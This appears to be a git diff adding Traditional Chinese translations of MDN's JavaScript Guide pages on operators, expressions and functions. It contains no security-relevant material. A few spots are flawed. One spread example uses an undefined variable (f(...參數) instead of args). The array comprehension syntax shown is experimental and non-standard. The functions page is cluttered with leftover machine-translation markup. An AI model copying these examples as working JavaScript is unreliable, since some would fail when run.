+<p>當使用 <code>delete</code> 運算子刪除陣列中的一個元素後， 那個元素便不再存在於陣列中了。 在下面的程式中， <code>trees[3]</code> 被用 delete 移除了。然而， <code>trees[3]</code> 的記憶體位址仍可用並且會回傳 未定義。</p>
+
+<pre class="brush: js notranslate">var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
+delete trees[3];
+if (3 in trees) {
+  // 不會執行到這裡
+}
+</pre>
+
+<p>假如你希望給予陣列元素 未定義 的值， 你可以直接使用 <code>undefined</code> 關鍵字而不是使用 delete 運算子。 下列範例中， <code>trees[3]</code> 被指定了 <code>undefined</code>， 然而陣列元素依然存在:</p>
+
+<pre class="brush: js notranslate">var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
+trees[3] = undefined;
+if (3 in trees) {
+  // 會執行這裡
+}
+</pre>
+
+<h4 id="typeof" name="typeof"><code>typeof</code></h4>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof"><code>typeof</code> 運算子</a> 能以下列任一方式使用:</p>
+
+<pre class="syntaxbox notranslate">typeof 運算元
+typeof (運算元)
+</pre>
+
+<p><code>typeof</code> 運算子會回傳代表運算元類型的 字串。 <code>運算元能是字串，變數，關鍵字，或是會回傳型態的物件。</code> 括號是可有可無的。</p>
+
+<p>假設你定義了以下這些變數:</p>
+
+<pre class="brush: js notranslate">var myFun = new Function('5 + 2');
+var shape = 'round';
+var size = 1;
+var today = new Date();
+</pre>
+
+<p><code>typeof</code> 運算子會回傳下列結果:</p>
+
+<pre class="brush: js notranslate">typeof myFun;       // 回傳 "function"
+typeof shape;       // 回傳 "string"
+typeof size;        // 回傳 "number"
+typeof today;       // 回傳 "object"
+typeof doesntExist; // 回傳 "undefined"
+</pre>
+
+<p>對於 <code>true</code> 和 <code>null關鍵字，</code> <code>typeof</code> 運算子會回傳下列結果:</p>
+
+<pre class="brush: js notranslate">typeof true; // 回傳 "boolean"
+typeof null; // 回傳 "object"
+</pre>
+
+<p>對於字串或數字， <code>typeof</code> 運算子會回傳下列結果:</p>
+
+<pre class="brush: js notranslate">typeof 62;            // 回傳 "number"
+typeof 'Hello world'; // 回傳 "string"
+</pre>
+
+<p>對於特性，<code>typeof</code> 運算子會回傳 特性的值的類型:</p>
+
+<pre class="brush: js notranslate">typeof document.lastModified; // 回傳 "string"
+typeof window.length;         // 回傳 "number"
+typeof Math.LN2;              // 回傳 "number"
+</pre>
+
+<p>對於 方法 及 函式， <code>typeof</code> 運算子會回傳下列結果:</p>
+
+<pre class="brush: js notranslate">typeof blur;        // 回傳 "function"
+typeof eval;        // 回傳 "function"
+typeof parseInt;    // 回傳 "function"
+typeof shape.split; // 回傳 "function"
+</pre>
+
+<p>對於內建定義的物件， <code>typeof</code> 運算子會回傳下列結果:</p>
+
+<pre class="brush: js notranslate">typeof Date;     // 回傳 "function"
+typeof Function; // 回傳 "function"
+typeof Math;     // 回傳 "object"
+typeof Option;   // 回傳 "function"
+typeof String;   // 回傳 "function"
+</pre>
+
+<h4 id="void" name="void"><code>void</code></h4>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/void"><code>void</code> 運算子 </a>能以下列任一方式使用:</p>
+
+<pre class="syntaxbox notranslate">void (運算式)
+void 運算式
+</pre>
+
+<p><code>void</code> 運算子會解析運算式而不回傳任何值。 <code>運算式</code> 是 JavaScript 中要解析的對象。 括號是可有可無的，但是建議使用。</p>
+
+<p>你可以使用 <code>void</code> 運算子來解析超連結中的運算式。 運算式會被解析而不會在當前頁面被印出。</p>
+
+<p>下列範例是一個在點擊時甚麼都不做的超連結。 當使用者點擊連結時， <code>void(0)</code> 被解析為 未定義， 而甚麼都不會發生。</p>
+
+<pre class="brush: html notranslate">&lt;a href="javascript:void(0)"&gt;點擊這裡，甚麼都不會發生&lt;/a&gt;
+</pre>
+
+<p>下列範例是一個在使用者點擊時傳送表單的超連結。</p>
+
+<pre class="brush: html notranslate">&lt;a href="javascript:void(document.form.submit())"&gt;
+點擊以送出&lt;/a&gt;</pre>
+
+<h3 id="關係運算子">關係運算子</h3>
+
+<p>關係運算子比較兩運算元並基於比較結果回傳布林值。</p>
+
+<h4 id="in"><code>in</code></h4>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/in"><code>in </code>運算子</a> 在指定性質存在於物件中時回傳 true 。 語法是:</p>
+
+<pre class="brush: js notranslate">性質名稱 in 物件名稱
+</pre>
+
+<p>性質名稱 可以是 字串或數字，或是陣列的索引， 且<code> </code>物件名稱 是物件的名稱。</p>
+
+<p>下列範例示範了 <code>in</code> 運算子的一些用法。</p>
+
+<pre class="brush: js notranslate">// 陣列
+var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
+0 in trees;        // 回傳 true
+3 in trees;        // 回傳 true
+6 in trees;        // 回傳 false
+'bay' in trees;    // 回傳 false (你必須指定 索引，
+                   // 而不是 索引所對應的元素)
+'length' in trees; // 回傳 true (length 是陣列的性質之一)
+
+// 內建物件
+'PI' in Math;          // 回傳 true
+var myString = new String("coral");
+'length' in myString;  // 回傳 true
+
+// 自訂義物件
+var mycar = { make: 'Honda', model: 'Accord', year: 1998 };
+'make' in mycar;  // 回傳 true
+'model' in mycar; // 回傳 true
+</pre>
+
+<h4 id="instanceof" name="instanceof"><code>instanceof</code></h4>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/instanceof"><code>instanceof</code> 運算子</a> 在 指定物件 具有 指定的物件型態 時回傳 true。 語法是:</p>
+
+<pre class="syntaxbox notranslate">物件名稱 instanceof 物件類型
+</pre>
+
+<p><code>物件名稱</code> 是用來與 物件類型 比較的物件的名字， 物件類型 是物件的類型， 例如 {{jsxref("Date")}} 或 {{jsxref("Array")}}。</p>
+
+<p>當你需要在程式執行中確認物件的形態時，你可以使用 ins<code>tanceof</code> 運算子。 例如，當捕捉到例外時， 你可以依照例外的類型來決定用來處理意外的程式碼。</p>
+
+<p>例如，下列程式碼使用 <code>instanceof</code> 來判斷變數 <code>theDay</code> 是不是 <code>Date</code> 類型的物件。 因為 <code>theDay</code> 是 <code>Date</code> 類型的物件， 所以if 陳述中的陳述句會被執行。</p>
+
+<pre class="brush: js notranslate">var theDay = new Date(1995, 12, 17);
+if (theDay instanceof Date) {
+  // 會被執行的陳述
+}
+</pre>
+
+<h3 id="運算子優先級">運算子優先級</h3>
+
+<p>運算子優先級決定運算子被使用於運算元的先後順序。 你也可以使用括號來強制指定優先級。</p>
+
+<p>下列表格列出了運算子的優先級， 從高到低。</p>
+
+<table class="standard-table">
+ <caption>運算子優先級</caption>
+ <thead>
+  <tr>
+   <th scope="col">運算子類型</th>
+   <th scope="col">屬於該類別的運算子</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>成員</td>
+   <td><code>. []</code></td>
+  </tr>
+  <tr>
+   <td>呼叫/建立 實例</td>
+   <td><code>() new</code></td>
+  </tr>
+  <tr>
+   <td>反向/增加</td>
+   <td><code>! ~ - + ++ -- typeof void delete</code></td>
+  </tr>
+  <tr>
+   <td>乘法/除法</td>
+   <td><code>* / %</code></td>
+  </tr>
+  <tr>
+   <td>加法/減法</td>
+   <td><code>+ -</code></td>
+  </tr>
+  <tr>
+   <td>位元移動</td>
+   <td><code>&lt;&lt; &gt;&gt; &gt;&gt;&gt;</code></td>
+  </tr>
+  <tr>
+   <td>關係運算子</td>
+   <td><code>&lt; &lt;= &gt; &gt;= in instanceof</code></td>
+  </tr>
+  <tr>
+   <td>相等性</td>
+   <td><code>== != === !==</code></td>
+  </tr>
+  <tr>
+   <td>位元 and</td>
+   <td><code>&amp;</code></td>
+  </tr>
+  <tr>
+   <td>位元 xor</td>
+   <td><code>^</code></td>
+  </tr>
+  <tr>
+   <td>位元 or</td>
+   <td><code>|</code></td>
+  </tr>
+  <tr>
+   <td>邏輯 and</td>
+   <td><code>&amp;&amp;</code></td>
+  </tr>
+  <tr>
+   <td>邏輯 or</td>
+   <td><code>||</code></td>
+  </tr>
+  <tr>
+   <td>條件運算子</td>
+   <td><code>?:</code></td>
+  </tr>
+  <tr>
+   <td>指定運算子</td>
+   <td><code>= += -= *= /= %= &lt;&lt;= &gt;&gt;= &gt;&gt;&gt;= &amp;= ^= |=</code></td>
+  </tr>
+  <tr>
+   <td>逗點運算子</td>
+   <td><code>,</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>這個表格更詳細的版本，解釋了運算子的更多細節和關聯性， 可以在 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#Table">JavaScript 參考</a> 中被找到。</p>
+
+<h2 id="運算式">運算式</h2>
+
+<p>運算式是任何一段可以取得一個值的程式碼。</p>
+
+<p>任何合乎語法的運算式都能取得一個值，概念上， 有兩種不同型態的運算式: 有副作用的 (例如: 將一個值指定給一個變數) 以及只為了取得值而解析的運算式。</p>
+
+<p>運算式 <code>x = 7</code> 是上述的第一種類型。 這個使用 =<em> </em>運算子的運算式會將數值 7 賦與給 x。 運算式本身也會被解析為 7。</p>
+
+<p>運算式 <code>3 + 4</code> 是上述的第二種類型。 這個運算式使用 + 運算子把 3 和 4 加起來，而不指定給任何變數。<br>
+ <br>
+ JavaScript 運算式有下列幾種種類:</p>
+
+<ul>
+ <li>算術: 解析出數字， 例如 3.14159. (通常使用 {{ web.link("#Arithmetic_operators", "算術運算子") }}.)</li>
+ <li>字串: 解析出字串， 例如 "Fred" or "234"。 (通常使用 {{ web.link("#String_operators", "字串運算子") }}.)</li>
+ <li>邏輯: 解析出 True 或 False (通常與 {{ web.link("#Logical_operators", "邏輯運算子") }} 相關。)</li>
+ <li>主流運算式: JavaScript 基本的關鍵字及運算式。</li>
+ <li>左側運算式: 左側是指定值的對象。</li>
+</ul>
+
+<h3 id="主流運算式">主流運算式</h3>
+
+<p>JavaScript 基本的關鍵字及運算式。</p>
+
+<h4 id="this" name="this"><code>this</code></h4>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code> 關鍵字</a> 能取得當前所在物件。 一般而言， <code>this</code> 能取得呼叫處所在的物件。 你可以使用 點 或是 中括號 來取用該物件中的特性:</p>
+
+<pre class="syntaxbox notranslate">this['特性名稱']
+this.特性名稱
+</pre>
+
+<p>以下定義一個叫做 <code>validate</code> 的函式，比較物件中特性 <code>value 與傳入的兩變數</code>:</p>
+
+<pre class="brush: js notranslate">function validate(obj, lowval, hival){
+  if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+    console.log('不可用的值!');
+}
+</pre>
+
+<p>你可以在表單的 <code>onChange</code> event handler 中呼叫 <code>validate</code> 函式， 並以 <code>this</code> 來傳入表單的元素， 範例如下:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;請輸入一介於18 與 99 的數字:&lt;/p&gt;
+&lt;input type="text" name="age" size=3 onChange="validate(this, 18, 99);"&gt;
+</pre>
+
+<h4 id="分組運算子">分組運算子</h4>
+
+<p>分組運算子 <code>( )</code> 控制了運算子的優先順序。 例如，你可以覆寫先乘除，後加減的優先順序，使其變成先加減，後乘除。</p>
+
+<pre class="brush:js notranslate">var a = 1;
+var b = 2;
+var c = 3;
+
+// 預設運算級
+a + b * c     // 7
+// 預設的結果
+a + (b * c)   // 7
+
+// 現在複寫運算級
+// 變成先進行加法，後乘法了
+(a + b) * c   // 9
+
+// 結果
+a * c + b * c // 9
+</pre>
+
+<h4 id="解析">解析</h4>
+
+<p>解析是 JavaScript 中的一個實驗性功能， 在未來版本的 ECMAScript 計畫被導入。有兩種不同類型的解析:</p>
+
+<dl>
+ <dt>{{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}</dt>
+ <dd>陣列解析。</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}</dt>
+ <dd>產生器解析。</dd>
+</dl>
+
+<p>解析在許多程式語言中都存在，允許你快速地基於現存陣列產生新的陣列，例如:</p>
+
+<pre class="brush:js notranslate">[for (i of [ 1, 2, 3 ]) i*i ];
+// [ 1, 4, 9 ]
+
+var abc = [ 'A', 'B', 'C' ];
+[for (letters of abc) letters.toLowerCase()];
+// [ 'a', 'b', 'c' ]</pre>
+
+<h3 id="左側運算式">左側運算式</h3>
+
+<p>左側是指定值的對象。</p>
+
+<h4 id="new" name="new"><code>new</code></h4>
+
+<p>你可以使用 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> 運算子</a> 來建立一個使用者自定義物件或內建物件的實例。 用法如下:</p>
+
+<pre class="brush: js notranslate">var 物件名稱 = new 物件型態([參數1, 參數2, ..., 參數N]);
+</pre>
+
+<h4 id="super">super</h4>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super 關鍵字</a> 用於呼叫物件的父物件中的函式。 在使用 <a href="/en-US/docs/Web/JavaScript/Reference/Classes">類別</a> 來呼叫父類別的建構子時很實用，例如:</p>
+
+<pre class="syntaxbox notranslate">super([參數]); // 呼叫父物件的建構子.
+super.父物件的函式([參數]);
+</pre>
+
+<h4 id="展開運算子">展開運算子</h4>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">展開運算子</a>能將運算式展開於需要多個參數的地方 (如函式呼叫) 或是需要多個元素 (如陣列字串常數) 的地方。</p>
+
+<p><strong>範例:</strong> 現在你想要用已存在的一個陣列做為新的一個陣列的一部份，當字串常數不再可用而你必須使用指令式編程，也就是使用，一連串的 <code>push</code>, <code>splice</code>, <code>concat</code>，等等。 展開運算子能讓過程變得更加簡潔:</p>
+
+<pre class="brush: js notranslate">var parts = ['肩膀', '膝蓋'];
+var lyrics = ['頭', ...parts, '和', '腳趾'];</pre>
+
+<p>相同的，展開運算子也適用於函式呼叫:</p>
+
+<pre class="brush: js notranslate">function f(x, y, z) { }
+var args = [0, 1, 2];
+f(...參數);</pre>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</div>
diff --git a/files/zh-tw/web/javascript/guide/functions/index.html b/files/zh-tw/web/javascript/guide/functions/index.html
new file mode 100644
index 0000000000..03866506d1
--- /dev/null
+++ b/files/zh-tw/web/javascript/guide/functions/index.html
@@ -0,0 +1,442 @@
+---
+title: 函式
+slug: Web/JavaScript/Guide/Functions
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</p>
+
+<p><span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>是構成javascript的基本要素之一。<span id="result_box" lang="zh-TW"><span title="一个函数本身就是一段JavaScript程序——包含用于执行某一任务或计算的一系列语句。">一個<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>本身就是一段JavaScript程序—<span id="result_box" lang="zh-TW"><span title="一个函数本身就是一段JavaScript程序——包含用于执行某一任务或计算的一系列语句。">包</span></span>含用於執行某一個任務或計算的語法。</span><span title="要使用某一个函数，你必需在想要调用这个函数的执行域的某处定义它。">要呼叫某一個<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>之前，你必需先在這個<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>欲執行的scope中定義它。</span></span></p>
+
+<h2 id="定義函式">定義<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span></h2>
+
+<p><span id="result_box" lang="zh-TW"><span title="一个函数的定义（也称为函数的声明）由一系列的函数关键词组成, 依次为：
+
+    ">一個<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>的定義由一系列的<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>關鍵詞組成, 依次為：</span></span></p>
+
+<ul>
+ <li><span title="一个函数的定义（也称为函数的声明）由一系列的函数关键词组成, 依次为：
+
+    ">    </span><span title="函数的名称。
+    "><span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>的名稱。</span></li>
+ <li><span lang="zh-TW"><span title="函数的名称。
+    ">    </span><span title="包围在括号()中，并由逗号区隔的一个函数引数（译注：实际参数）列表。
+    ">包圍在括號()中，並由逗號區隔的一個<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>參數列表。</span></span></li>
+ <li><span lang="zh-TW"><span title="包围在括号()中，并由逗号区隔的一个函数引数（译注：实际参数）列表。
+    ">    </span><span title="包围在花括号{}中，用于定义函数功能的一些JavaScript语句。">包圍在大括號{}中，用於定義<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>功能的一些JavaScript語句。</span></span></li>
+</ul>
+
+<p> </p>
+
+<p><span class="short_text" id="result_box" lang="zh-TW"><span title="例如，以下的代码定义了一个名为square的简单函数:">例如，以下的程式碼定義了一個名為square的簡單<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>:</span></span></p>
+
+<div style="margin-right: 270px;">
+<pre class="brush: js">function square(number) {
+  return number * number;
+}
+</pre>
+</div>
+
+<p><span id="result_box" lang="zh-TW"><span title="函数square使用了一个引数，叫作number。"><span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>square有一個參數，叫作number。</span><span title="这个函数只有一个语句，它说明该函数会将函数的引数（即number）自乘后返回。">這個<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>只有一行程式碼，它會回傳number自乘的結果。</span><span title="函数的return语句确定了函数的返回值。"><span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>的 <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Statements/return" title="return"><code>return</code></a> 語法描述<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>的返回值。</span></span></p>
+
+<pre class="brush: js">return number * number;
+</pre>
+
+<p><span id="result_box" lang="zh-TW"><span title="原始参数（比如一个具体的数字）被作为值传递给函数；值被传递给函数，但是如果被调用函数改变了这个参数的值，这样的改变不会影响到全局或调用的函数。">原始參數（例如一個數字）被作為值傳遞給<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>，如果呼叫的<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>改變了這個參數的值，不會影響到<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示"><span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>外部的原始變數</span></span>。</span></span></p>
+
+<p><span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">如果傳遞一個物件（例如 <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a> 或自定義的其它物件）作為參數，而函式改變了這個物件的屬性，這樣的改變對函式外部是有作用的(因為是傳遞物件的位址)，如下面的例子所示</span><span title="：">：</span></span></p>
+
+<pre class="brush: js">function myFunc(theObject) {
+  theObject.make = "Toyota";
+}
+
+var mycar = {make: "Honda", model: "Accord", year: 1998},
+    x,
+    y;
+
+x = mycar.make;     // x 的值為 "Honda"
+
+myFunc(mycar);
+y = mycar.make;     // y 的值為 "Toyota"
+                    // (屬性 make 被 function 改變)
+</pre>
+
+<p><span id="result_box" lang="zh-TW"><span title="请注意，重新给参数分配一个对象，并不会对函数的外部有任何影响，因为这样只是改变了参数的值，而不是改变了对象的一个属性值：">請注意，重新給參數指定一個對象(物件)，並不會對函式的外部有任何影響，因為這樣只是改變了參數的值，而不是改變了對象的一個屬性值：</span></span></p>
+
+<pre class="brush: js">function myFunc(theObject) {
+  theObject = {make: "Ford", model: "Focus", year: 2006};
+}
+
+var mycar = {make: "Honda", model: "Accord", year: 1998},
+    x,
+    y;
+
+x = mycar.make;     // x 的值為 "Honda"
+
+myFunc(mycar);
+y = mycar.make;     // y 的值還是 "Honda" </pre>
+
+<p><span id="result_box" lang="zh-TW"><span title="当然上述函数定义都用的是语法语句，函数也同样可以由函数表达式产生。">儘管上述函式定義都是用的是陳述式，函式也同樣可以由函式表達式來定義。</span><span title="这样的函数可以是匿名的；它不必有名称。">這樣的函式可以是匿名的；它不必有名稱。</span><span title="例如，上面提到的函数square也可这样来定义：">例如，上面提到的函式square也可這樣來定義：</span></span></p>
+
+<pre class="brush: js" style="font-size: 14px;">var square = function(number) {return number * number};
+var x = square(4) //x 的值為 16</pre>
+
+<div class="almost_half_cell" id="gt-res-content">
+<div dir="ltr" style="zoom: 1;"><span id="result_box" lang="zh-TW"><span title="必要时，函数名称可与函数表达式同时存在，并且可以用于在函数内部代指其本身，或者在调试器堆栈跟踪中鉴别该函数：">必要時，函式名稱可與函式表達式同時存在，並且可以用於在函式內部代指其本身(遞迴)：</span></span></div>
+
+<div dir="ltr" style="zoom: 1;"> </div>
+</div>
+
+<pre class="brush: js" style="font-size: 14px;">var factorial = function fac(n) {return n&lt;2 ? 1 : n*fac(n-1)};
+
+console.log(factorial(3));
+</pre>
+
+<p><span id="result_box" lang="zh-TW"><span title="函数表达式在将函数作为一个引数传递给其它函数时十分方便。">函式表達式在將函式作為一個參數傳遞給其它函式時十分方便。</span><span title="下面的例子演示了一个叫map的函数如何被定义，而后调用一个匿名函数作为其第一个参数：">下面的例子展示了一個叫map的函式如何​​被定義，而後呼叫一個匿名函式作為其第一個參數：</span></span></p>
+
+<pre class="brush: js" style="font-size: 14px;">function map(f,a) {
+  var result = [], // Create a new Array
+      i;
+  for (i = 0; i != a.length; i++)
+    result[i] = f(a[i]);
+  return result;
+}
+</pre>
+
+<p>下面的程式碼呼叫map<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>並將一個匿名<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>傳入作為第一個參數:</p>
+
+<pre class="brush: js" style="font-size: 14px;">map(function(x) {return x * x * x}, [0, 1, 2, 5, 10]);
+// 結果會回傳 [0, 1, 8, 125, 1000]
+</pre>
+
+<p><span style="line-height: 1.572;">除了上述的定義方式以外，我們也可以透過 </span><a href="/en-US/docs/JavaScript/Guide/Predefined_Core_Objects#Function_Object" style="line-height: 1.572;" title="en-US/docs/JavaScript/Guide/Predefined Core Objects#Function Object"><code>Function</code> constructor</a><span style="line-height: 1.572;"> 來定義, 類似 </span><a href="/en-US/docs/JavaScript/Guide/Functions#eval_Function" style="line-height: 1.572;" title="en-US/docs/JavaScript/Guide/Functions#eval_Function"><code>eval()</code></a><span style="line-height: 1.572;">.</span></p>
+
+<h2 id="呼叫函式">呼叫函式</h2>
+
+<p><span id="result_box" lang="zh-TW"><span title="定义一个函数并不会自动的执行它。">定義一個<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>並不會自動的執行它。</span><span title="定义了函数仅仅是赋予函数以名称并明确函数被调用时该做些什么。">定義了<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>僅僅是賦予<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>以名稱並明確<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>被呼叫時該做些什麼。</span><span title="调用函数才会以给定的参数真正执行这些动作。">呼叫<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>才會以給定的參數真正執行這些動作。</span><span title="例如，一旦你定义了函数square，你可以如下这样调用它：">例如，一旦你定義了<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>square，你可以如下這樣呼叫它：</span></span></p>
+
+<pre class="brush: js">square(5);
+</pre>
+
+<p><span class="short_text" id="result_box" lang="zh-TW"><span title="上述语句以引数（译注：即实际参数）5来调用函数。">上述程式碼把5傳遞給square<span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>。</span><span title="函数执行完它的语句会返回值25。"><span id="result_box" lang="zh-TW"><span title="如果你传递一个对象（即一个非实际值，例如矩阵或用户自定义的其它对象）作为参数，而函数改变了这个对象的属性，这样的改变对函数外部是可见的，如下面的例子所示">函式</span></span>執行完會回傳25。</span></span></p>
+
+<p>函式必須在呼叫區塊的可視範圍內，但函數也可以宣告在使用處的下面，如下列範例:</p>
+
+<pre>console.log(square(5));
+/* ... */
+function square(n){return n*n}
+</pre>
+
+<p>The scope of a function is the function in which it is declared, or the entire program if it is declared at the top level. Note that this works only when defining the function using the above syntax (i.e. <code>function funcName(){}</code>). The code below will not work.</p>
+
+<pre class="brush: js">console.log(square(5));
+square = function (n) {
+  return n * n;
+}
+</pre>
+
+<p>The arguments of a function are not limited to strings and numbers. You can pass whole objects to a function, too. The <code>show_props</code> function (defined in <a href="/en-US/docs/JavaScript/Guide/Working_with_Objects#Objects_and_Properties" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Working_with_Objects#Objects_and_Properties">Working with Objects</a>) is an example of a function that takes an object as an argument.</p>
+
+<p>A function can be recursive; that is, it can call itself. For example, here is a function that computes factorials recursively:</p>
+
+<pre class="brush: js">function factorial(n){
+  if ((n == 0) || (n == 1))
+    return 1;
+  else
+    return (n * factorial(n - 1));
+}
+</pre>
+
+<p>You could then compute the factorials of one through five as follows:</p>
+
+<pre class="brush: js">var a, b, c, d, e;
+a = factorial(1); // a gets the value 1
+b = factorial(2); // b gets the value 2
+c = factorial(3); // c gets the value 6
+d = factorial(4); // d gets the value 24
+e = factorial(5); // e gets the value 120
+</pre>
+
